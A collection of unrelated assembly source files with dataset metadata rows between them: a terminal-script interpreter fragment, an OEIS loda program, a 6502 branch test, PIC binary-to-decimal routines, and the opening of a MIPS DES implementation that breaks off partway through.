PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 03/02/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EnableTrigger proc near
mov ax, MSG_GEN_SET_ENABLED
mov dl, VUM_NOW
GetResourceHandleNS ScriptUI, bx
mov di, mask MF_FORCE_QUEUE
call ObjMessage
ret
EnableTrigger endp
DisableTrigger proc near
mov ax, MSG_GEN_SET_NOT_ENABLED
mov dl, VUM_NOW
GetResourceHandleNS ScriptUI, bx
mov di, mask MF_FORCE_QUEUE
call ObjMessage
ret
DisableTrigger endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScriptAttemptBranchToAbortSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if this script has an "ABORT" section.
CALLED BY: DoPort, DispErrMessage
PASS: ds - dgroup
RETURN: C - clear if there is an abort section
ES:DI - current line in script file
C - set if there is no abort section in script
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 06/19/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScriptAttemptBranchToAbortSection proc near
EC < call ECCheckDS_dgroup >
cmp ds:[scriptMode], SCRIPT_MODE_PROMPT
je stopTimer
cmp ds:[scriptMode], SCRIPT_MODE_PAUSE
jne noTimer
stopTimer:
mov bx, ds:[scriptTimerHandle] ;got a match, stop the timer
mov ax, ds:[scriptTimerId]
call TimerStop
mov ds:[scriptMode], SCRIPT_MODE_EXEC ;reset match mode
noTimer:
mov dx, offset dgroup: matchTable ;clear match table
mov ds:[matchTableHead], dx ;
call PrintAbort ;print abort message
mov cx, ds:[scriptSize] ;does script have abort section?
segmov es, cs, di
mov di, offset abortLabel ;es:di-> label to search for
push ds ;save dgroup
mov ds, ds:[scriptSeg] ;
clr si ;ds:si-> start of macro file
call LabelSearch ;
pop ds ;restore ds->dgroup
jc exit ;if no abort label, exit
mov es, ds:[scriptSeg]
mov di, si ;es:di->pointer into macro file
clc ;clear flag cauz abort section
exit:
ret
ScriptAttemptBranchToAbortSection endp
;print abort string
PrintAbort proc near
EC < call ECCheckDS_dgroup >
GetResourceHandleNS scriptAbortString, bx
push bx
call MemLock ; ax = string segment
push ds
mov dx, ax
mov ds, ax
mov si, offset scriptAbortString
mov bp, ds:[si] ; dx:bp = abort string
pop ds
clr cx ; null-terminated
mov bx, ds:[scriptDisp].handle
mov si, ds:[scriptDisp].chunk
mov ax, MSG_VIS_TEXT_APPEND
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bx
call MemUnlock ; unlock string block
ret
PrintAbort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NullTerminateWord
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Null terminate the current word
CALLED BY: CheckCommand, DoComm
PASS: es:di - ptr to "white space" terminated word
RETURN: es:di - ptr to null-terminated word
cx:dx - ptr to same null-terminated word
DESTROYED: al
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Since we're inserting a NULL we may screw up further processing
of the macro file, but since this routine is called before we
display an error message the macro file isn't processed anymore
anyway.
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 07/30/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NullTerminateWord proc near
uses di
.enter
topLoop:
LocalGetChar ax, esdi, NO_ADVANCE ;
LocalCmpChar ax, CHAR_SPACE ;if first string done
je done ;check if second string done
LocalCmpChar ax, CHAR_CR ;
je done ;
LocalCmpChar ax, CHAR_TAB ;
je done
LocalCmpChar ax, CHAR_DASH ;
je done ;
LocalCmpChar ax, CHAR_COMMA ;
je done ;
LocalNextChar esdi
jmp short topLoop
done:
SBCS < mov {byte} es:[di], CHAR_NULL >
DBCS < mov {wchar} es:[di], CHAR_NULL >
.leave ;restore di to start of string
mov cx, es ;cx:dx-> null-terminated
mov dx, di ; string too
ret
NullTerminateWord endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvUpperCase
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check that word pointed to by es:di is in upper case
CALLED BY: CheckCommand
PASS: es:di - ptr to "white space" terminated word
RETURN: es:di - ptr to word in uppercase
DESTROYED: al
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 07/30/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvUpperCase proc near
uses di
.enter
topLoop:
LocalGetChar ax, esdi, NO_ADVANCE ;
;if we have reached end of file, bail. Checks should have been made
;earlier, after skipping white space.
EC < LocalIsNull ax >
EC < ERROR_Z TERM_ERROR >
LocalCmpChar ax, CHAR_SPACE ;if first string done
je done ;check if second string done
LocalCmpChar ax, CHAR_CR ;
je done ;
LocalCmpChar ax, CHAR_TAB ;
je done
if 0
LocalCmpChar ax, 'a' ;is the char a lower case char
jb next ;
LocalCmpChar ax, 'z' ;
ja next
SBCS < sub al, 'a' - 'A' ;convert letter to upper case>
DBCS < sub ax, 'a' - 'A' ;convert letter to upper case>
else
SBCS < clr ah >
call LocalUpcaseChar
endif
LocalPutChar esdi, ax, NO_ADVANCE
next:
LocalNextChar esdi
jmp short topLoop
done:
.leave
ret
ConvUpperCase endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitScriptTriggers
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: InitScript
PASS:
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 08/08/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ResetScriptTriggers proc near
mov si, offset ScriptUI:OpenMacTrigger ;enable run macro trigger
call EnableTrigger
;enable close display trigger
mov si, offset ScriptUI:CloseScrTrigger
call EnableTrigger
mov si, offset ScriptUI:AbortScrTrigger ;disable abort trigger
call DisableTrigger
ret
ResetScriptTriggers endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ScriptCancelAndNotifySerialThread
DESCRIPTION: This procedure is called when an END command is reached
in the script, Cancel is pressed, or an error is encountered.
CALLED BY: DispErrMessage, DoPort, DoCommand, DoEnd, ScriptAbort
PASS: ds = dgroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 10/90 initial version
------------------------------------------------------------------------------@
ScriptCancelAndNotifySerialThread proc near
;indicate that we are no longer processing a script,
mov ds:[scriptMode], SCRIPT_MODE_OFF
;now, send a method to the serial thread, so that it will
;send all future input to the FSM, first flushing the
;rest of the characters from auxBuf into the FSM, and then grabbing
;more chars from the Stream Driver into auxBuf.
mov ax, MSG_SERIAL_EXIT_SCRIPT_MODE
mov bx, ds:[threadHandle] ;get serial thread handle
mov di, mask MF_FORCE_QUEUE
call ObjMessage
ret
ScriptCancelAndNotifySerialThread endp
if _SCRIPT_VARIABLE
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VariableCheck
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: checks target string to see if it is a variable. If so,
calls user handled message to output variable to port.
CALLED BY: (INTERNAL) DoSend
PASS: ds - dgroup
es:di - start of $'d string
RETURN: carry set if variable
es:si - points to user specified variable (to print
out)
cx - length of var to output string
di - offset to first char inside variable string
(in script file)
dx - length of variable string.
carry clear if not a variable (resets vars to previous)
es:di - points to first char inside variable string
(in script file)
DESTROYED: cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eyeh 10/16/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VariableCheck proc near
uses ax,bx,bp
.enter
mov bx, di ; store pointer to string start
LocalLoadChar ax, CHAR_DOLLAR
SBCS < cmp es:[di], al ;variable must be bounded by '$'>
DBCS < cmp es:[di], ax ;variable must be bounded by '$'>
jne notVar
LocalNextChar esdi ; skip past the '$'
mov dx, di
LocalFindChar esdi ; skip to delmiting '$'
jnz notVar
LocalPrevChar esdi ; point to end of variable
; now to compute the variable string length
mov cx, di
mov di, dx ; get pointer to start of variable
sub cx, di ; get variable string length
DBCS < shr cx, 1 ; # bytes -> # chars >
push cx, bx ; store length and offset to start of variable
; set up vars for call to get variable
mov bp, cx ; set up length
mov cx, es ; segment
mov dx, di ; offset
; Now call user handled routine to get pointer and length of string
; to output in place of the variable. Note: this routine should
; avoid destroying variables.
;
; The routine should set the pointer to the string at es:si,
; char length to cx.
CallMod GetVariable ; grab the variable
after_get_var:
tst bp ; check to see if var declared (size > 0)
pop ax, bx ; restore length and offset to start of variable
; (doesn't affect zero flag).
jz errVarNotDeclared
; variable exists, now set return values
segmov ds, es ; set to segment of variable
mov di, bx ; set to beginning of variable
mov es, cx ; set to segment of text to output
mov si, dx ; set to offset of text to output
mov cx, bp ; set to length of text to output
mov dx, ax ; store length of variable
stc ; set carry (proper variable)
exit_variable_check:
.leave
ret
notVar: ; not a variable, so leave
mov di, bx ; restore pointer to start of string
clc ; clear carry
jmp exit_variable_check ; leave procedure
errVarNotDeclared: ; Variable not declared
; ***Set error handler here***
mov di, bx ; restore pointer to start of string
clc ; clear carry
jmp exit_variable_check ; leave procedure
VariableCheck endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DialVariableCheck
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks to see if properly formatted variable. If so, user
should call user defined variable routine (GetDialVariable) and returns that
string with its length.
CALLED BY: DoDial
PASS: ds - dgroup
es:di - start of variable string
RETURN:
if variable:
C - set if string okay
es:di - pointer to variable name
cx - length of variable string
if not variable:
C - clear if not dial variable
es:di - pointer to start of string
DESTROYED: none
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eyeh 11/ 4/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DialVariableCheck proc near
uses ax,bx,dx,si
.enter
mov bx, di ; preserve start of string
LocalLoadChar ax, CHAR_DOLLAR
SBCS < cmp es:[di], al ;variable must be bounded by '$'>
DBCS < cmp es:[di], ax ;variable must be bounded by '$'>
jne notDialVar
LocalNextChar esdi ; skip past '$'
mov dx, di
LocalFindChar esdi ; skip to delimiting '$'
jnz notDialVar
LocalPrevChar esdi ; point to end of variable
; now to compute the variable string length
mov cx, di
mov di, dx ; get pointer to start of variable
sub cx, di ; get variable string length
DBCS < shr cx, 1 ; # bytes -> # chars >
stc ; is a variable, set carry
jmp exit_dial_var_check
notDialVar:
mov di, bx ; restore start of string
clc ; not a variable, clear carry
exit_dial_var_check:
.leave
ret
DialVariableCheck endp
endif ; _SCRIPT_VARIABLE
| 24.714653 | 80 | 0.564963 |
90720572f3456455dd637a95dd6b8e08425cba3f | 741 | asm | Assembly | programs/oeis/007/A007680.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/007/A007680.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/007/A007680.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A007680: a(n) = (2n+1)*n!.
; 1,3,10,42,216,1320,9360,75600,685440,6894720,76204800,918086400,11975040000,168129561600,2528170444800,40537905408000,690452066304000,12449059983360000,236887827111936000,4744158915944448000,99748982335242240000,2196910513383505920000,50580032749992345600000,1215044786727593902080000,30401971684928732528640000,791071712209880285184000000,21374447439710098685952000000,598887819773009368842240000000,17378635642867690048585728000000,521663957630642415318073344000000,16180424448543654576814817280000000,518038835213209137516710461440000000
mov $1,$0
mul $0,2
add $0,1
mov $2,$1
seq $2,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $0,$2
| 74.1 | 542 | 0.850202 |
fe9ac9039fca0fb81d4d1f72366cf79aef090a9d | 629 | asm | Assembly | tests/assembly/BCS_BCC.asm | danecreekphotography/6502ts | 85716cf12f879d7c16c297de3251888c32abba6a | [
"MIT"
] | null | null | null | tests/assembly/BCS_BCC.asm | danecreekphotography/6502ts | 85716cf12f879d7c16c297de3251888c32abba6a | [
"MIT"
] | null | null | null | tests/assembly/BCS_BCC.asm | danecreekphotography/6502ts | 85716cf12f879d7c16c297de3251888c32abba6a | [
"MIT"
] | null | null | null | ; Verifies BCS and BCC
.segment "VECTORS"
.word $eaea
.word init
.word $eaea
.code
init:
bcs handleBCS ; Carry flag will be false, no branch
bcs handleBCS ; Carry flag will be true, branch
nop ; Padding in memory so the offset isn't zero
handleBCS:
lda #$42 ; Load something to prove execution is here
bcc handleBNE ; Carry flag will be true, no branch
bcc handleBNE ; Carry flag will be false, branch
nop ; Padding in memory so the offset isn't zero
handleBNE:
ldx #$42 ; Load something to prove execution is here
bne handleBCS ; Jump backwards to test negative offset | 27.347826 | 61 | 0.689984 |
640811579d478adabaea2ff8dc8c4566422b4904 | 3,711 | asm | Assembly | binaryconversions.asm | martsbradley/Bikespeedo | d449a27e2a157eebaff2b195095747630f8aa291 | [
"Unlicense"
] | null | null | null | binaryconversions.asm | martsbradley/Bikespeedo | d449a27e2a157eebaff2b195095747630f8aa291 | [
"Unlicense"
] | null | null | null | binaryconversions.asm | martsbradley/Bikespeedo | d449a27e2a157eebaff2b195095747630f8aa291 | [
"Unlicense"
] | null | null | null | list p=16f628a, free
#include <p16f628a.inc>
ERRORLEVEL -302 ;removes warning message about using proper bank that occured on the line 'CLRF TRISB'
#include util_macros.INC
; These globals are for the BINDEC method
global BINDEC
global DIGIT1, DIGIT2,DIGIT3,DIGIT4,DIGIT5,DIGIT6,DIGIT7,DIGIT8
global COUNT0, COUNT1, COUNT2
global BinaryFraction, ConvertFractionBinary2Decimal, FractionConversion
extern argA, argB, Add32bit32bit
; These globals are for the BIN2BCD method
;global byte2numberInput, hundreds, tens, units
BANK0 udata
; byte2numberInput res 1 ; binary to decimal conversion
; hundreds res 1
; tens res 1
; units res 1
; count res 1
DIGIT1 res 1 ;/* These are needed for
DIGIT2 res 1
DIGIT3 res 1
DIGIT4 res 1
DIGIT5 res 1 ; The binary to decimal
DIGIT6 res 1
DIGIT7 res 1
DIGIT8 res 1
ConvertCounter1 res 1
ConvertCounter2 res 1
COUNT0 res 1
COUNT1 res 1
COUNT2 res 1
BinaryFraction res 1
FractionConversion res 2 ; holds the fraction 0 - > 999 used for display.
PROG code
; BINDEC
; Converts 24bit binary into decimal
; Input: COUNT0,COUNT1,COUNT2
; Updates: ConvertCounter1 & ConvertCounter2 - uses these internally
; Output: DIGIT8..DIGIT7..DIGIT6..DIGIT5..DIGIT4..DIGIT3..DIGIT2..DIGIT1
BINDEC:
CLRF DIGIT1
CLRF DIGIT2
CLRF DIGIT3
CLRF DIGIT4
CLRF DIGIT5
CLRF DIGIT6
CLRF DIGIT7
CLRF DIGIT8
MOVLW d'24'
MOVWF ConvertCounter1
GOTO SHIFT1
ADJBCD: MOVLW DIGIT1
MOVWF FSR
MOVLW d'7'
MOVWF ConvertCounter2
MOVLW d'3'
ADJLOOP: ADDWF INDF,F
BTFSS INDF,3
SUBWF INDF,F
INCF FSR,F
DECFSZ ConvertCounter2,F
GOTO ADJLOOP
SHIFT1: call SLCNT
SLDEC: MOVLW DIGIT1
MOVWF FSR
MOVLW d'8'
MOVWF ConvertCounter2
SLDLOOP:
RLF INDF,F
BTFSC INDF,4
BSF STATUS,C
BCF INDF,4
INCF FSR,F
DECFSZ ConvertCounter2,F
GOTO SLDLOOP
DECFSZ ConvertCounter1,F
GOTO ADJBCD
return
SLCNT: RLF COUNT0,F
RLF COUNT1,F
RLF COUNT2,F
return
; After the 500 the other values 250,125 etc fit in
; one byte, a shift right could be sued to divide by 2
; and shorten the code.
;0.5 500 1 500
;0.25 250 1 250
;0.125 125 1 125
;0.0625 62.5 1 62.5
;0.03125 31.25 0 0
;0.015625 15.625 0 0
;0.0078125 7.8125 0 0
;0.00390625 3.90625 1 3.90625
;
; 941.40625
; ArgA will hold the result.
; This method takes a 8bit value that represents a fraction
; and converts it into a value from 0 to 1000 that can be displayed.
;
ConvertFractionBinary2Decimal:
clear16bitReg FractionConversion
clear32bitReg argB
bcf STATUS, C
movlw 0x07
movwf ConvertCounter1 ; used to repeat 7 times.
movlw 0xFA ; 250
movwf ConvertCounter2; used for the value thats halfed on each iteration.
Convert0.5:
rlf BinaryFraction
btfss STATUS, C
goto Convert0.25
set32bitReg FractionConversion, 0x00, 0x00, 0x01, 0xF4
Convert0.25:
bcf STATUS, C
rlf BinaryFraction
btfss STATUS, C
goto RepeatConversion ;Bit was Zero
move32bitReg FractionConversion, argA
clear32bitReg argB
movfw ConvertCounter2
movwf argB
call Add32bit32bit
move32bitReg argB, FractionConversion
RepeatConversion:
bcf STATUS, C
rrf ConvertCounter2
decfsz ConvertCounter1,F
goto Convert0.25
return
end
| 23.636943 | 107 | 0.640798 |
90f0833d4c685d435cb902dc11d01af80d259323 | 87,379 | asm | Assembly | des.asm | micromin/Data-Encryption-Standard | 7c5be33fbf871a9d710ea9e741d6ceccd064d545 | [
"MIT"
] | 15 | 2018-07-24T03:33:28.000Z | 2022-02-03T23:46:38.000Z | des.asm | edisonlee55/Data-Encryption-Standard | 598b4385d726dd2e999fa9f67403ee989fd9d7cc | [
"MIT"
] | null | null | null | des.asm | edisonlee55/Data-Encryption-Standard | 598b4385d726dd2e999fa9f67403ee989fd9d7cc | [
"MIT"
] | 21 | 2018-10-08T19:39:16.000Z | 2021-07-21T00:58:04.000Z | # In order to run the DES algorithm, just put the ascii code of the KEY and Message in the map_key and map_msg, respectively.
# by amin faiz khadem
#ASCII TABLE:=
# 48=0 49=1 50=2
# 51=3 52=4 53=5 54=6 55=7 56=8 57=9 58=: 59=; 60=<
# 61== 62=> 63=? 64=@ 65=A 66=B 67=C 68=D 69=E 70=F
# 71=G 72=H 73=I 74=J 75=K 76=L 77=M 78=N 79=O 80=P
# 81=Q 82=R 83=S 84=T 85=U 86=V 87=W 88=X 89=Y 90=Z
# 91=[ 92=\ 93=] 94=^ 95=_ 96=` 97=a 98=b 99=c 100=d
# 101=e 102=f 103=g 104=h 105=i 106=j 107=k 108=l 109=m 110=n
# 111=o 112=p 113=q 114=r 115=s 116=t 117=u 118=v 119=w 120=x
# 121=y 122=z
.data
###############################################################################
##ascii form####INPUT##########################################################
map_key: .byte 56,98,121,116,101,107,101,121 #enter ascii form of key input ex. "8bytekey" enter 56,98,121,116,101,107,101,121
map_msg: .byte 109,101,115,115,97,103,101,46 #enter ascii form of msg input ex. "message." enter 109,101,115,115,97,103,101,46
###############################################################################
map_pSUBKEY: .byte 14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32
map_pKEY: .byte 57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4
map_pIP: .byte 58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7
map_finalIP: .byte 40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25
map_funcE: .byte 32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1
map_lastP: .byte 16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25
map_S: .byte 14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7, 1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8, 9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
.text
.align 2
.globl main
main:
#li $a1,945977716 #keyr
#li $a0,1701537145 #keyl
#li $a2,1634166062 #msgr
#li $a3, 1835365235 #msgl
li $t0,7
lb $a0,map_key($t0)
li $t0,6
lb $t0,map_key($t0)
sll $t0,$t0,8
add $a0,$a0,$t0
li $t0,5
lb $t0,map_key($t0)
sll $t0,$t0,16
add $a0,$a0,$t0
li $t0,4
lb $t0,map_key($t0)
sll $t0,$t0,24
add $a0,$a0,$t0
li $t0,3
lb $a1,map_key($t0)
li $t0,2
lb $t0,map_key($t0)
sll $t0,$t0,8
add $a1,$a1,$t0
li $t0,1
lb $t0,map_key($t0)
sll $t0,$t0,16
add $a1,$a1,$t0
li $t0,0
lb $t0,map_key($t0)
sll $t0,$t0,24
add $a1,$a1,$t0
#------
li $t0,7
lb $a2,map_msg($t0)
li $t0,6
lb $t0,map_msg($t0)
sll $t0,$t0,8
add $a2,$a2,$t0
li $t0,5
lb $t0,map_msg($t0)
sll $t0,$t0,16
add $a2,$a2,$t0
li $t0,4
lb $t0,map_msg($t0)
sll $t0,$t0,24
add $a2,$a2,$t0
li $t0,3
lb $a3,map_msg($t0)
li $t0,2
lb $t0,map_msg($t0)
sll $t0,$t0,8
add $a3,$a3,$t0
li $t0,1
lb $t0,map_msg($t0)
sll $t0,$t0,16
add $a3,$a3,$t0
li $t0,0
lb $t0,map_msg($t0)
sll $t0,$t0,24
add $a3,$a3,$t0
jal cipher1
j exit
#get Bit---------------------------------------------------
#$a1 #loc
#$a0 #i
#jal getbit
#int getB(int i ,int loc){
# i=i>>31-(loc-1);
# return i&1;
#}
getbit:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
li $v1,0
addi $s7,$ra,0
addi $a1,$a1,-1
sub $a1,$zero,$a1
addi $a1,$a1,31
srl $a0,$a0,$a1
andi $a0,$a0,1
add $v1,$zero,$a0
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#----------------------------------------------------------
#set Bit---------------------------------------------------
#$a2 #loc
#$a1 #in
#$a0 #i
#jal setbit
#void setB(int &i , int in,int loc){
# int hl=0;
# hl=1<<31-(loc-1);
# if (in)
# i=i|hl;
# else
# i=i&~hl;
#}
setbit:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
li $v1,0
addi $s7,$ra,0
addi $a2,$a2,-1
sub $a2,$zero,$a2
addi $a2,$a2,31
li $t0,1
sll $a2,$t0,$a2
bne $a1,$zero,setbit_or
j setbit_and
setbit_or:
or $v1,$a0,$a2
j setbit_ex
setbit_and:
nor $a2,$a2,0
and $v1,$a0,$a2
setbit_ex:
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#----------------------------------------------------------
#get Value-------------------------------------------------
#$a0 #e
#$a1 #b
#$a2 #in
#jal getV
#int getV(int in,int b,int e){
# int sum=0;
# int t=0;
# for (int i=e;i>=b;i--){
# sum+=getB(in,i)<<t;
# t+=1;
# }
# return sum;
#}
getV:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
